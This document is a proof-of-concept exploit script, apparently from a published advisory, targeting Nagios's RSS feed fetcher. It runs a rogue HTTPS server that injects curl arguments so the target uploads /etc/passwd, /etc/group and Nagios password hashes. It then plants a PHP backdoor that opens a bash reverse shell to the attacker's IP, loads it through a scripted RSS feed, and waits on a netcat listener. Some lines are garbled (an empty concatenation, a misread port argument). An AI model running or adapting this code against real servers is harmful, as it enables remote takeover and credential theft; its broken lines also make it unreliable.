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This PoC exploit can allow well-positioned attackers to extract and write
arbitrary files on the Nagios server which can lead to arbitrary code execution
on Nagios deployments that follow the official Nagios installation guidelines.
For details, see the full advisory at:
PoC Video:
./ reverse_shell_ip [reverse_shell_port]
For testing purposes only. Do no harm.
import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop
exploited = 0
docroot_rw = 0
class MainHandler(tornado.web.RequestHandler):
def get(self):
global exploited
if (exploited == 1):
ua = self.request.headers['User-Agent']
if "Magpie" in ua:
print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip
print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'
self.redirect('https://' + + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
exploited = 1
def post(self):
global docroot_rw
print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip
# Extract /etc/passwd from the target
passwd = self.request.files['passwd'][0]['body']
print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd
# Extract /usr/local/nagios/etc/htpasswd.users
htauth = self.request.files['htauth'][0]['body']
print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth
# Extract nagios group from /etc/group
group = self.request.files['group'][0]['body']
for line in group.splitlines():
if "nagios:" in line:
nagios_group = line
print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
if "www-data" in nagios_group:
print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
docroot_rw = 1
# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
# option. The output trace should contain an unwrapped line similar to:
# == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/ 0<&1 2>&1 &'"); ?> is not blacklisted
# which will do the trick as it won't mess up the payload :)
self.add_header('Server', backdoor)
# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)
print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"
if __name__ == "__main__":
global backdoor_path
global backdoor
print intro
# Set attacker's external IP & port to be used by the reverse shell
if len(sys.argv) < 2 :
print usage
attacker_ip = sys.argv[1]
if len(sys.argv) == 3 :
attacker_port = sys.argv[1]
attacker_port = 8080
# PHP backdoor to be saved on the target Nagios server
backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)
# Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
global xmldata
xmldata = """<?xml version="1.0"?>
<rss version="2.0">
<title>Nagios feed with injected JS payload</title>
<title>Item 1</title>
&lt;strong&gt;Feed injected. Here we go &lt;/strong&gt; -
loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;)
&lt;img src=&quot;/nagios/nagios-backdoor.php&quot; onerror=&quot;alert('Reverse Shell /nagios/nagios-backdoor.php executed!')&quot;&gt;
</rss> """
# Generate SSL cert
print "[+] Generating SSL certificate for our python HTTPS web server \n"
os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null")
print "[+] Starting the web server on ports 80 & 443 \n"
application = tornado.web.Application([
(r'/.*', MainHandler)
http_server = tornado.httpserver.HTTPServer(
ssl_options = {
"certfile": os.path.join("./", "server.cert"),
"keyfile": os.path.join("./", "server.key"),
print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"
if (docroot_rw == 1):
print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
print "[*] Spawning netcat and waiting for the nagios shell\n"
os.system("nc -v -l -p 8080")
print "\n[+] Shell closed\n"
print "[+] That's all. Exiting\n"